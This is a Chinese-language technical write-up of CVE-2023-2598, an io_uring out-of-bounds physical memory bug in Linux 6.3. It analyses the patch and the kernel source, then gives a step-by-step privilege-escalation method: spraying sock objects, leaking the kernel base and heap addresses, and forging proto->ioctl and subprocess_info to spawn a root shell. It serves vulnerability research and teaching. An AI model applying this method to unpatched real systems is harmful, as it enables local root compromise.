【kernel exploit】CVE-2023-2598 io_uring物理内存越界读写(伪造sock对象

影响版本:Linux 6.3-rc1~6.3.1

测试版本:Linux-v6.3.1 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

注释 CONFIG_SYSTEM_TRUSTED_KEYS / CONFIG_SYSTEM_REVOCATION_KEYS 这两行

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.3.1.tar.xz
$ tar -xvf linux-6.3.1.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:io_uring模块中的OOB写漏洞,可导致越界读写物理内存,漏洞位于目录 io_uring/rsrc.cio_sqe_buffer_register()函数,在检查所提交的待注册page是否属于同一复合页时,仅检查了所在复合页的首页是否一致,而没有检查所提交的page是否为同一page。可以注册同一个物理页(冒充多个物理页组成的复合页),构造物理页任意长度越界读写。

补丁patch 漏洞引入是在6.3-rc1 io_uring/rsrc: optimise registered huge pages;6.3.2 / 6.4-rc1版本中修复。

// io_uring/rsrc: check for nonconsecutive pages
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index ddee7adb40060..00affcf811ad9 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -1117,7 +1117,12 @@ static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
 	if (nr_pages > 1) {
 		folio = page_folio(pages[0]);
 		for (i = 1; i < nr_pages; i++) {
-			if (page_folio(pages[i]) != folio) {
+			/*
+			 * Pages must be consecutive and on the same folio for
+			 * this to work
+			 */
+			if (page_folio(pages[i]) != folio ||
+			    pages[i] != pages[i - 1] + 1) { 	// 检查和前一个page是否为同一page
 				folio = NULL;
 				break;
 			}

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结:利用物理页任意长度越界读写,可以任意读写其后的sock对象,通过sock->sk_data_ready泄露内核基址,通过sock.sk_error_queue.next泄露sock对象的堆地址,通过伪造sock.__sk_common.skc_prot->ioctl函数指针指向call_usermodehelper_exec()函数来劫持控制流,还需要伪造subprocess_info结构来完成利用,最终执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0 来提权

  • (0)初始化:绑定到CPU0、初始化io_uring、设置最大可打开文件数(默认为1024,nr_memfds-映射漏洞物理页的最大可打开文件数,nr_sockets-最大可打开的socket个数);
  • (1)堆喷#nr_sockets个sock对象;
    • 设置标记:设置sk_pacing_rate / sk_max_pacing_rate0xdeadbeef;——便于确定漏洞对象后面是有效的sock对象
    • 设置文件描述符:将 sk_sndbuf 设置为 j = (sockets[i] + SOCK_MIN_SNDBUF)*2,也即 (4+4544)*2 = 0x2388;——便于确定sock对象对应的是哪一个文件描述符
  • (2)堆喷注册#nr_memfds个共享的漏洞物理页;
    • 创建#nr_memfds个匿名文件(memfd_create()),分配1个物理页(fallocate());
  • (3)创建receiver_fd,映射receiver_buffer内存(mmap()),用于存放越界读取的数据和伪造的数据;
  • (4)遍历匿名文件,先向io_uring注册实现用户态与内核态内存共享;
    • 在固定地址 0x4247000000 处映射 65000 个连续的虚拟页(绑定该匿名文件),对应的物理页只有1个;
    • io_uring注册该缓冲区;
  • (5)每次越界读取500个页;
    • (5-1)确保 sk_pacing_rate / sk_max_pacing_rate == egg,表示找到了sock对象;
    • (5-2)sock对象偏移;
    • (5-3)泄露内核地址:通过sock对象中的sk_data_ready指针(对应的函数是sock_def_readable());
    • (5-4)泄露sock对象对应的FD:通过sock->sk_sndbuf值进行泄露,以便后续劫持函数指针之后,对这个socket进行操作;
    • (5-5)泄露sock对象堆地址sock.sk_error_queue.next值指向自身,减去该成员的偏移即为sock对象地址;
  • (6)保存tcp_sock以备份,在漏洞利用完成后恢复sock对象,避免内核崩溃;
  • (7)篡改sock.__sk_common.skc_prot 指向伪造的 proto 对象(位于sock对象的偏移1400处);
  • (8)伪造proto->ioctl函数指针,call_usermodehelper_exec()函数,该函数可在内核空间启动一个用户态进程;
  • (9)伪造subprocess_info->path,也即 "/bin/sh"字符串(proto对象开头,不要覆写proto->ioctl);
  • (10)伪造subprocess_info->argv的三个参数(proto对象的后面),也即 -c /bin/sh &>/dev/ttyS0 </dev/ttyS0等三个参数对应的字符串和指针;
  • (11)伪造subprocess_info对象(在sock对象开头),注意subprocess_info.work.func 设置为call_usermodehelper_exec_work() 函数(负责生成我们的新进程);
  • (12)触发ioctl,将会触发call_usermodehelper_exec函数,延迟执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0 ,即可获取一个root shell。

io_uring简介:io_uring于2019年在内核5.1中首次引入,使应用程序可以异步执行。用户能够批量提交系统调用,不会阻塞系统调用,并且减少系统调用上下文切换或字节拷贝带来的开销。可通过io_uring_register(IORING_REGISTER_BUFFERS)来注册用户和内核的共享缓冲区。详细io_uring介绍可参见CVE-2021-41073

1. Linux内存管理新特性-folio

1-1. 复合页

复合页引入:内核v5.16引入了内存管理特性 folio,原因是随着计算机内存越来越大,以4KB的页为基本单位显然已经不够了,于是引入了复合页(Compound Page),组合多个物理页为1个单元。例如,当采用4KB页来分配2M的内存并进行访问时,需分配512个page,操作系统需要经历512次TLB miss和512次缺页中断,才能将这2M地址空间全部映射到物理内存上;但如果使用2M的复合页,只需1次TLB miss和1次缺页中断。

分配复合页:调用__alloc_pages()分配内存时,如果分配标志GFP指定了__GFP_COMP,内核就会将这些页组成复合页,例如__folio_alloc()就添加了__GFP_COMP分配标志。复合页的首页被称为head page,其余页称为tail page,所有的tail page都有指向head page的指针。

问题

  • 如何表示N个page组成了一个复合页整体?
  • 哪些page是head?
  • 哪些page是tail?
  • 共有多少个page组成复合页?

解决:在引入folio结构之前,内核采用如下方式来解决以上问题。

  • 在首页的page结构体上,引入PG_head标记来表示head page—— page->flags |= (1UL << PG_head);
  • 在其余N-1个页的page结构体上,将 compound_head 的最后一位置1来表示tail page —— page->compound_head |= 1UL;
  • 利用 _compound_head() (返回page->compound_head)和 PageTail() 来取出 head page 和判断该page是否为tail page
  • 利用 compound_order() 来获得复合页中的page个数。

1-2. folio结构体

问题:使用page结构来处理复合页,存在两个易引起混乱的问题,一是如果给函数传递一个tail page的页描述符的指针,那么这个函数是应该操作这个tail page还是把复合页作为一个整体操作?二是如果总是调用_compound_head()获取复合页的head page,会增大性能开销。

解决:为了解决复合页产生的问题,Linux 5.16引入了folio的概念,folio表示一个0-order页或者一个复合页的首页。只要给函数传递一个folio,函数就会操作整个复合页,没有歧义(folio肯定不是tail page,这样就避免了这两个问题)。

folio介绍:folio本质是一个集合,是物理连续、虚拟连续的order-n个page集合,单个页也算是一个folio。folio将page中常用的字段,放在了和page同等的位置。folio vs page

struct folio {
	union {
		struct {
			unsigned long flags;
			union {
				struct list_head lru;
				struct {
					void *__filler;
					unsigned int mlock_count;
				};
			};
			struct address_space *mapping;
			pgoff_t index;
			void *private;
			atomic_t _mapcount;
			atomic_t _refcount;
#ifdef CONFIG_MEMCG
			unsigned long memcg_data;
#endif
	/* private: the union with struct page is transitional */
		};
		struct page page;
	};
    ...
}

struct page {
	unsigned long flags;
	union {
		struct {
			union {
				struct list_head lru;

				struct {
					void *__filler;
					unsigned int mlock_count;
				};
				struct list_head buddy_list;
				struct list_head pcp_list;
			};
			struct address_space *mapping;
			union {
				pgoff_t index;		/* Our offset within mapping. */
				unsigned long share;	/* share count for fsdax */
			};
			unsigned long private;
		};
        ...
        struct {	/* Tail pages of compound page */
			unsigned long compound_head;	/* Bit zero is set */
		};
        ...
}

内核代码改进:引入复合页后,需要对大量驱动代码和文件系统代码进行更改。新的内核需要两组不同的API来处理复合页。

void folio_get(struct folio *folio);
void get_page(struct page *page);
void folio_lock(struct folio *folio);
void lock_page(struct page *page);

2. 漏洞分析

漏洞根源是在注册fixed buffer时,调用流程是 io_uring_register(IORING_REGISTER_BUFFERS) -> __io_uring_register() -> io_sqe_buffers_register() -> io_sqe_buffer_register()。注册缓冲区并锁定,专用于读写数据,这些内存空间不会被其他进程占用。

(1)__io_uring_register()

static int __io_uring_register(struct io_ring_ctx *ctx, unsigned opcode,
			       void __user *arg, unsigned nr_args)
	__releases(ctx->uring_lock)
	__acquires(ctx->uring_lock)
{
	int ret;
    ...
    switch (opcode) {
	case IORING_REGISTER_BUFFERS:
		ret = -EFAULT;
		if (!arg)
			break;
		ret = io_sqe_buffers_register(ctx, arg, nr_args, NULL); 	// <--- io_sqe_buffers_register()
		break;
    ...
    }
}

(2)io_sqe_buffers_register() —— 遍历注册每一个buffer

int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
			    unsigned int nr_args, u64 __user *tags)
{
	struct page *last_hpage = NULL;
	struct io_rsrc_data *data;
	int i, ret;
	struct iovec iov;

	BUILD_BUG_ON(IORING_MAX_REG_BUFFERS >= (1u << 16));

	if (ctx->user_bufs)
		return -EBUSY;
	if (!nr_args || nr_args > IORING_MAX_REG_BUFFERS)
		return -EINVAL;
	ret = io_rsrc_node_switch_start(ctx);
	if (ret)
		return ret;
	ret = io_rsrc_data_alloc(ctx, io_rsrc_buf_put, tags, nr_args, &data);
	if (ret)
		return ret;
	ret = io_buffers_map_alloc(ctx, nr_args);
	if (ret) {
		io_rsrc_data_free(data);
		return ret;
	}

	for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
		if (arg) {
			ret = io_copy_iov(ctx, &iov, arg, i);
			if (ret)
				break;
			ret = io_buffer_validate(&iov);
			if (ret)
				break;
		} else {
			memset(&iov, 0, sizeof(iov));
		}

		if (!iov.iov_base && *io_get_tag_slot(data, i)) {
			ret = -EINVAL;
			break;
		}

		ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i], 	// <--- io_sqe_buffer_register()
					     &last_hpage);
		if (ret)
			break;
	}

(3)io_sqe_buffer_register() —— 通过 io_pin_pages() 函数锁定物理页,作为io_uring的共享内存区域,防止被换出:

static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
				  struct io_mapped_ubuf **pimu,
				  struct page **last_hpage)
{
	struct io_mapped_ubuf *imu = NULL;
	struct page **pages = NULL;
	unsigned long off;
	size_t size;
	int ret, nr_pages, i;
	struct folio *folio = NULL;

	*pimu = ctx->dummy_ubuf;
	if (!iov->iov_base)
		return 0;

	ret = -ENOMEM;
	pages = io_pin_pages((unsigned long) iov->iov_base, iov->iov_len, 	// <--- io_pin_pages()
				&nr_pages);
	if (IS_ERR(pages)) {
		ret = PTR_ERR(pages);
		pages = NULL;
		goto done;
	}
    ...
}

(4)io_pin_pages() —— 作用是将用户空间的一段内存(由ubuflen确定)锁定在物理内存中,并返回对应的物理页的指针数组。

struct page **io_pin_pages(unsigned long ubuf, unsigned long len, int *npages)
// ubuf - 待锁定内存的起始虚拟地址; len - 待锁定内存的长度,字节; npages - 指定一个指针,用于返回锁定的物理页的个数
// 返回值: 一个指向物理页的指针数组,如果失败,返回NULL

io_vec结构体用于表示用户传入的缓冲区地址和大小:

struct iovec
{
	void __user *iov_base;	 // 缓冲区起始地址
	__kernel_size_t iov_len; // 缓冲区字节长度
};

(5)io_sqe_buffer_register() 接下来的代码

static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
				  struct io_mapped_ubuf **pimu,
				  struct page **last_hpage)
{
	...
    if (nr_pages > 1) { 	// 判断page数量是否大于1,是否为复合页
		folio = page_folio(pages[0]); 	  // 使用page_folio宏,将page[0]也即`head page`的page结构转化为folio结构
		for (i = 1; i < nr_pages; i++) {  // 遍历复合页
			if (page_folio(pages[i]) != folio) { 	// 漏洞点!!!!! 检查每一个page的`head page`是否与复合页相同
				folio = NULL; 						// page_folio() -> _compound_head() 返回 page->compound_head
				break;
			}
		}
		if (folio) {
			unpin_user_pages(&pages[1], nr_pages - 1);
			nr_pages = 1; 	// 所有页位于同一 folio, 则将 nr_pages 设置为1
		}
	}
    ...
}

漏洞:folio表示在物理内存、虚拟内存都连续的page集合。这里代码判断nr_pages > 1,即是否为复合页;但是在for循环中,if (page_folio(pages[i]) != folio) 只判断了每一个page是否属于当前的复合页,没有判断这些page是否相邻(是否为同一page)。如果用户传入的都是同一物理页,则内核会认为它是一片多个页组成的连续虚拟内存。

(6)io_sqe_buffer_register() 接下来的代码

static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
				  struct io_mapped_ubuf **pimu,
				  struct page **last_hpage)
{
	...
    imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL); 	// 重点是 imu - io_mapped_ubuf对象
	if (!imu)
		goto done;

	ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
	if (ret) {
		unpin_user_pages(pages, nr_pages);
		goto done;
	}

	off = (unsigned long) iov->iov_base & ~PAGE_MASK;
	size = iov->iov_len; 				// <---- [3] size值来自于用户态
	/* store original address for later verification */
	imu->ubuf = (unsigned long) iov->iov_base; 	// 用户可控
	imu->ubuf_end = imu->ubuf + iov->iov_len;
	imu->nr_bvecs = nr_pages; 					// folio中本值为1
	*pimu = imu; 		 									// [1] imu结构体指针赋值给了pimu
	ret = 0;

	if (folio) { 	// 如果是folio,只需要1个bio_vec,非常高效
		bvec_set_page(&imu->bvec[0], pages[0], size, off); 	// <---- [2] 传入4个参数,一是 bio_vec 结构体, 二是物理页的 head page, 三是从用户态传入的 iov->iov_len, 四是缓冲区的偏移量
		goto done;
	}
	for (i = 0; i < nr_pages; i++) {
		size_t vec_len;

		vec_len = min_t(size_t, size, PAGE_SIZE - off);
		bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
		off = 0;
		size -= vec_len;
	}
done:
	if (ret)
		kvfree(imu);
	kvfree(pages);
	return ret;
}
// bvec_set_page() —— 对bv进行赋值
static inline void bvec_set_page(struct bio_vec *bv, struct page *page,
		unsigned int len, unsigned int offset)
{
	bv->bv_page = page;
	bv->bv_len = len; 			// pimu->bvec[0].bv_len = iov->iov_len
	bv->bv_offset = offset;
}

imu - io_mapped_ubuf结构:表示已经注册到io_uring中的用户态缓冲区信息。

struct io_mapped_ubuf {
	u64		ubuf; 		// 缓冲区起始地址
	u64		ubuf_end; 	// 缓冲区结束地址
	unsigned int	nr_bvecs; 	// 定位这段缓冲区所需的 bio_vec(s) 结构的个数
	unsigned long	acct_pages;
	struct bio_vec	bvec[]; 	// bio_vec(s)数组,bio_vec类似于iovec,但用于存物理内存,定义了一段连续的物理内存地址范围
};

struct bio_vec {
	struct page	*bv_page; 		// 该地址范围对应的首个page
	unsigned int	bv_len; 	// 该地址范围的长度(字节)
	unsigned int	bv_offset; 	// 相对bv_page的起始地址范围
};

[1] - imu 值传递:imu结构体指针传给了 pimupimu来自(io_sqe_buffers_register() -> io_sqe_buffer_register())的&ctx->user_bufs[i]参数,后续的io_uring操作都会使用这个 struct io_ring_ctx *ctx 结构体。

int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
			    unsigned int nr_args, u64 __user *tags)
{
	struct page *last_hpage = NULL;
	struct io_rsrc_data *data;
	int i, ret;
	struct iovec iov;
    ...
    for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
        ...
        ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i],
					     &last_hpage);
        ...
    }
}

3. 漏洞利用

3-1. 利用原语

(1)漏洞原语

利用原语:可利用io_uring_register注册一个跨多个page的缓冲区,但是只会重复映射一个相同的物理页。在虚拟内存中是连续的,但在物理内存中并不连续,在检查此物理页是否属于复合页时,能够通过检查,因为这个物理页确实属于当前的复合页(page_folio(pages[i]) == folio)。内核会认为这些连续的虚拟页就是连续的物理页,但实际上是分配了同一个物理页,且size值来自于用户态(虚拟内存长度 pimu->bvec[0].bv_len = iov->iov_len,用户可控(见(6)-[3]处代码)。可利用io_uring的其他功能,越界读写当前物理页之后的物理页

可用对象:由于漏洞可以越界写很多页,就不需考虑对象大小和分配的问题,可利用的对象大小是不限的。例如sock对象,包含很多函数指针:

struct sock {
 struct sock_common         __sk_common;          /*     0   136 */ 	// 泄露内核基址
 /* --- cacheline 2 boundary (128 bytes) was 8 bytes ago --- */
 struct dst_entry *         sk_rx_dst;            /*   136     8 */
 int                        sk_rx_dst_ifindex;    /*   144     4 */
 u32                        sk_rx_dst_cookie;     /*   148     4 */
 socket_lock_t              sk_lock;              /*   152    32 */
 atomic_t                   sk_drops;             /*   184     4 */
 int                        sk_rcvlowat;          /*   188     4 */
 /* --- cacheline 3 boundary (192 bytes) --- */
 struct sk_buff_head        sk_error_queue;       /*   192    24 */
 struct sk_buff_head        sk_receive_queue;     /*   216    24 */
 struct {
  atomic_t           rmem_alloc;           /*   240     4 */
  int                len;                  /*   244     4 */
  struct sk_buff *   head;                 /*   248     8 */
  /* --- cacheline 4 boundary (256 bytes) --- */
  struct sk_buff *   tail;                 /*   256     8 */
 } sk_backlog;                                    /*   240    24 */
 int                        sk_forward_alloc;     /*   264     4 */
 u32                        sk_reserved_mem;      /*   268     4 */
 unsigned int               sk_ll_usec;           /*   272     4 */
 unsigned int               sk_napi_id;           /*   276     4 */
 int                        sk_rcvbuf;            /*   280     4 */

 /* XXX 4 bytes hole, try to pack */

 struct sk_filter *         sk_filter;            /*   288     8 */
 union {
  struct socket_wq * sk_wq;                /*   296     8 */
  struct socket_wq * sk_wq_raw;            /*   296     8 */
 };                                               /*   296     8 */
 struct xfrm_policy *       sk_policy[2];         /*   304    16 */
 /* --- cacheline 5 boundary (320 bytes) --- */
 struct dst_entry *         sk_dst_cache;         /*   320     8 */
 atomic_t                   sk_omem_alloc;        /*   328     4 */
 int                        sk_sndbuf;            /*   332     4 */
 int                        sk_wmem_queued;       /*   336     4 */
 refcount_t                 sk_wmem_alloc;        /*   340     4 */
 long unsigned int          sk_tsq_flags;         /*   344     8 */
 union {
  struct sk_buff *   sk_send_head;         /*   352     8 */
  struct rb_root     tcp_rtx_queue;        /*   352     8 */
 };                                               /*   352     8 */
 struct sk_buff_head        sk_write_queue;       /*   360    24 */
 /* --- cacheline 6 boundary (384 bytes) --- */
 __s32                      sk_peek_off;          /*   384     4 */
 int                        sk_write_pending;     /*   388     4 */
 __u32                      sk_dst_pending_confirm; /*   392     4 */
 u32                        sk_pacing_status;     /*   396     4 */
 long int                   sk_sndtimeo;          /*   400     8 */
 struct timer_list          sk_timer;             /*   408    40 */

 /* XXX last struct has 4 bytes of padding */

 /* --- cacheline 7 boundary (448 bytes) --- */
 __u32                      sk_priority;          /*   448     4 */
 __u32                      sk_mark;              /*   452     4 */
 long unsigned int          sk_pacing_rate;       /*   456     8 */ 	// <--- 可设置标记
 long unsigned int          sk_max_pacing_rate;   /*   464     8 */ 	// <---
    // .. many more fields
 /* size: 760, cachelines: 12, members: 92 */
 /* sum members: 754, holes: 1, sum holes: 4 */
 /* sum bitfield members: 16 bits (2 bytes) */
 /* paddings: 2, sum paddings: 6 */
 /* forced alignments: 1 */
 /* last cacheline: 56 bytes */
} __attribute__((__aligned__(8)));
(2)设置内存标记

设置标记:sock对象中,sk_pacing_ratesk_max_pacing_rate成员可通过setsockopt(SO_MAX_PACING_RATE)操作进行设置,对应函数为sk_setsockopt()。可通过设置特殊值来确定是否命中了sock对象,同时设置这两个值可以提高判断的准确性。其他成员(例如sk_mark)也可以设置,但是需要CAP_NET_ADMIN权限;还有SO_SNDBUF - 设置 sk_sndbufSO_RCVBUF - 设置sk_rcvbuf

int sk_setsockopt(struct sock *sk, int level, int optname,
		  sockptr_t optval, unsigned int optlen)
{
	struct so_timestamping timestamping;
	struct socket *sock = sk->sk_socket;
	struct sock_txtime sk_txtime;
	int val;
	int valbool;
	struct linger ling;
	int ret = 0;
    ...
    case SO_MAX_PACING_RATE:
		{
		unsigned long ulval = (val == ~0U) ? ~0UL : (unsigned int)val;

		if (sizeof(ulval) != sizeof(val) &&
		    optlen >= sizeof(ulval) &&
		    copy_from_sockptr(&ulval, optval, sizeof(ulval))) { 		// <---- 从用户空间取值
			ret = -EFAULT;
			break;
		}
		if (ulval != ~0UL)
			cmpxchg(&sk->sk_pacing_status,
				SK_PACING_NONE,
				SK_PACING_NEEDED);
		sk->sk_max_pacing_rate = ulval; 								// 设置 sk_max_pacing_rate
		sk->sk_pacing_rate = min(sk->sk_pacing_rate, ulval); 			// 设置 sk_pacing_rate
		break;
		}
    ...
}
(3)获取sock对应描述符

获取socket描述符:命中sock对象后,还需知道这个socket描述符。也可以通过setsockopt(SO_SNDBUF)操作将该socket的文件描述符存储到sock对象中,代码参见sk_setsockopt()。存入的值是fd + SOCK_MIN_SNDBUF(实际写入时会乘以2),读取后解码为val / 2 - SOCK_MIN_SNDBUF(通过getsockopt读取)。

int sk_setsockopt(struct sock *sk, int level, int optname,
		  sockptr_t optval, unsigned int optlen)
{
	struct so_timestamping timestamping;
	struct socket *sock = sk->sk_socket;
	struct sock_txtime sk_txtime;
	int val;
	int valbool;
	struct linger ling;
	int ret = 0;
	...
    case SO_SNDBUF:
		/* Don't error on this BSD doesn't and if you think
		 * about it this is right. Otherwise apps have to
		 * play 'guess the biggest size' games. RCVBUF/SNDBUF
		 * are treated in BSD as hints
		 */
		val = min_t(u32, val, READ_ONCE(sysctl_wmem_max));
set_sndbuf:
		/* Ensure val * 2 fits into an int, to prevent max_t()
		 * from treating it as a negative value.
		 */
		val = min_t(int, val, INT_MAX / 2);
		sk->sk_userlocks |= SOCK_SNDBUF_LOCK;
		WRITE_ONCE(sk->sk_sndbuf, 							// <--- val值来自用户态,这里需满足一个条件,也即val要大于宏定义 SOCK_MIN_SNDBUF 的值才会被写进 sk_sndbuf 成员中。
			   max_t(int, val * 2, SOCK_MIN_SNDBUF));
		/* Wake up sending tasks if we upped the value. */
		sk->sk_write_space(sk);
		break;
    ...
}
// SOCK_MIN_SNDBUF 宏定义展开如下:要满足 val > SOCK_MIN_SNDBUF, 只需将socket对象的描述符加上 SOCK_MIN_SNDBUF 的值即可。在命中sock对象后,再将sk_sndbuf位置的值减去SOCK_MIN_SNDBUF就是socket对象的描述符。
// SOCK_MIN_SNDBUF = 2 * (2048 + ALIGN(sizeof(sk_buff), 1 << L1_CACHE_SHIFT)), 实际值取决于 L1_CACHE_SHIFT,本例中 L1_CACHE_SHIFT = 6, 因此 SOCK_MIN_SNDBUF = 4608
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define __ALIGN_KERNEL(x, a)  __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define L1_CACHE_SHIFT  5
#define L1_CACHE_BYTES  (1 << L1_CACHE_SHIFT)
#define ALIGN(x, a)  __ALIGN_KERNEL((x), (a))
#define SMP_CACHE_BYTES L1_CACHE_BYTES
#define SKB_DATA_ALIGN(X) ALIGN(X, SMP_CACHE_BYTES)
#define SK_BUFF_SIZE 224
#define TCP_SKB_MIN_TRUESIZE (2048 + SKB_DATA_ALIGN(SK_BUFF_SIZE))
#define SOCK_MIN_SNDBUF  (TCP_SKB_MIN_TRUESIZE * 2)
(4)泄露基址&劫持控制流

泄露内核基址&劫持控制流sock.__sk_common结构体中的struct proto *skc_prot指针指向proto对象,proto对象中存在很多函数指针,可用于劫持控制流。

// [1] 泄露内核基址: sock对象中含有一些函数指针
struct sock {
    ...
	void                       (*sk_state_change)(struct sock *); /*   672     8 */
	void                       (*sk_data_ready)(struct sock *); /*   680     8 */
	void                       (*sk_write_space)(struct sock *); /*   688     8 */
	void                       (*sk_error_report)(struct sock *); /*   696     8 */
	/* --- cacheline 11 boundary (704 bytes) --- */
	int                        (*sk_backlog_rcv)(struct sock *, struct sk_buff *); /*   704     8 */
	void                       (*sk_destruct)(struct sock *); /*   712     8 */
    ...
} __attribute__((__aligned__(8)));
// 例如TCP socket中,会被初始化为如下函数
sk_state_change <-> <sock_def_wakeup>,
sk_data_ready <-> <sock_def_readable>, 			// <--- 本EXP是用的这个函数来泄露的
sk_write_space <-> <sk_stream_write_space>,
sk_error_report <-> <sock_def_error_report>,
sk_backlog_rcv <-> <tcp_v4_do_rcv>,
sk_destruct <-> <inet_sock_destruct>

// [2] 劫持控制流
struct sock_common {
 union {
  __addrpair         skc_addrpair;         /*     0     8 */
 ...
 struct proto *             skc_prot;             /*    40     8 */ 		// <---
 possible_net_t             skc_net;              /*    48     8 */
......
/* size: 136, cachelines: 3, members: 25 */
 /* sum members: 135 */
 /* sum bitfield members: 7 bits, bit holes: 1, sum bit holes: 1 bits */
 /* last cacheline: 8 bytes */  

struct proto {
 void                       (*close)(struct sock *, long int); /*     0     8 */
 int                        (*pre_connect)(struct sock *, struct sockaddr *, int); /*     8     8 */
 int                        (*connect)(struct sock *, struct sockaddr *, int); /*    16     8 */
 int                        (*disconnect)(struct sock *, int); /*    24     8 */
 struct sock *              (*accept)(struct sock *, int, int *, bool); /*    32     8 */
 int                        (*ioctl)(struct sock *, int, long unsigned int); /*    40     8 */ 	// <--- 可劫持
 int                        (*init)(struct sock *); /*    48     8 */
 void                       (*destroy)(struct sock *); /*    56     8 */
 /* --- cacheline 1 boundary (64 bytes) --- */
 void                       (*shutdown)(struct sock *, int); /*    64     8 */
 int                        (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); /*    72     8 */
 int                        (*getsockopt)(struct sock *, int, int, char *, int *); /*    80     8 */
....

3-2. 利用步骤

EXP复现注意点:QEMU需给足够的内存,避免mmap时内存不足;若mmap映射的内存减少,很难命中sock对象。

利用步骤

  • (1)通过匿名文件映射内存,然后通过io_uring来实现用户态与内核态内存共享;

  • (2)执行setsockopt(sockets[i], SOL_SOCKET, SO_MAX_PACING_RATE, &egg, sizeof(uint64_t)) < 0),设置sk_pacing_rate / sk_max_pacing_rate 作为标记(0xdeadbeef);——便于确定漏洞对象后面是sock对象

  • (3)执行setsockopt(sockets[i], SOL_SOCKET, SO_SNDBUF, &j, sizeof(int),将 sk_sndbuf 设置为 j = (sockets[i] + SOCK_MIN_SNDBUF)*2,也即 (4+4544)*2 = 0x2388;——便于确定sock对象对应的是哪一个文件描述符

  • (4)通过漏洞(同一物理页的连续地址映射),在io_uring操作之后,检测映射内存中是否命中了sock对象;

  • (5)泄露内核基址+堆地址:判断sk_pacing_rate / sk_max_pacing_rate 是否为正确标记值。确定命中sock对象后,通过sock对象计算距离函数指针的偏移,以此泄露sk_data_ready_off函数地址,从而得到内核基址与sock对象的地址;通过socksk_error_queue / sk_receive_queue 可泄露sock对象地址。

  • (6)泄露socket描述符:通过sk_sndbuf的值,减去SOCK_MIN_SNDBUF的值 ,可以得到socket的描述符,以便后续劫持函数指针之后,对这个socket进行操作;

  • (7)在修改和伪造sock内容之前,先对sock数据进行备份,在之后将其还原,某则会导致内核崩溃;

  • (8)为了劫持sock对象的函数指针,需伪造proto对象,放在sock对象之后;

  • (9)劫持proto->ioctl 函数指针指向call_usermodehelper_exec()函数,该函数可在内核空间启动一个用户态进程;

  • (10)问题call_usermodehelper_exec()需两个参数,(struct subprocess_info *sub_info, int wait) ,ioctl函数定义是:(*ioctl)(struct sock *, int, long unsigned int); ,它的第一个参数始终指向sock对象,无法在sock对象开头来伪造subprocess_info对象(因为sock开头是sock_commonsock_common->skc_protsubprocess_info->path成员重叠了),也就是说没办法直接调用ioctl去提权。并且,在proto+0x28位置为ioctl函数指针,我们需要覆盖这个函数指针完成劫持,但调用call_usermodehelper_exec函数时,其参数subprocess_info + 0x28位置是所要执行的用户态程序路径,刚好与ioctl函数指针重叠,这会破坏我们的利用。

    int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait);
    
    struct subprocess_info {
    	struct work_struct         work;                 /*     0    32 */
    	struct completion *        complete;             /*    32     8 */
    	const char  *              path;                 /*    40     8 */ 	// path - 指向我们可执行程序的路径
    	char * *                   argv;                 /*    48     8 */  // argv - 指向指针数组,每个指针指向参数
    	char * *                   envp;                 /*    56     8 */  // envp - 类似argv,但存储的是环境变量
    	/* --- cacheline 1 boundary (64 bytes) --- */
    	int                        wait;                 /*    64     4 */
    	int                        retval;               /*    68     4 */
    	int                        (*init)(struct subprocess_info *, struct cred *); /*    72     8 */ 	// init - 初始化函数,设置进程凭证
    	void                       (*cleanup)(struct subprocess_info *); /*    80     8 */ 	// cleanup - 子进程退出时执行
    	void *                     data;                 /*    88     8 */
    
    	/* size: 96, cachelines: 2, members: 10 */
    	/* last cacheline: 32 bytes */
    };
    
  • (11)可利用work_structsubprocess_info的第一个成员对象),表示一个延迟工作的对象。subprocess_info.work.func成员是一个函数指针,延迟工作将会调用这个函数指针。调用流程是 call_usermodehelper_exec() -> queue_work() -> queue_work_on() -> __queue_work() -> insert_work() —— 加入延迟队列;实际执行时的调用流程是 call_usermodehelper_exec_work() -> user_mode_thread() -> kernel_clone() 会启动新进程来执行 call_usermodehelper_exec_async() -> kernel_execve(sub_info->path, (const char *const *)sub_info->argv, (const char *const *)sub_info->envp);

    struct work_struct {
     atomic_long_t              data;                 /*     0     8 */
     struct list_head           entry;                /*     8    16 */
     work_func_t                func;                 /*    24     8 */
    
     /* size: 32, cachelines: 1, members: 3 */
     /* last cacheline: 32 bytes */
    };
    
    static void call_usermodehelper_exec_work(struct work_struct *work) // work_struct 结构属于 subprocess_info 对象,伪造好 work_struct 即可
    {
    	struct subprocess_info *sub_info =
    		container_of(work, struct subprocess_info, work);
    
    	if (sub_info->wait & UMH_WAIT_PROC) {
    		call_usermodehelper_exec_sync(sub_info);
    	} else {
    		pid_t pid;
    		/*
    		 * Use CLONE_PARENT to reparent it to kthreadd; we do not
    		 * want to pollute current->children, and we need a parent
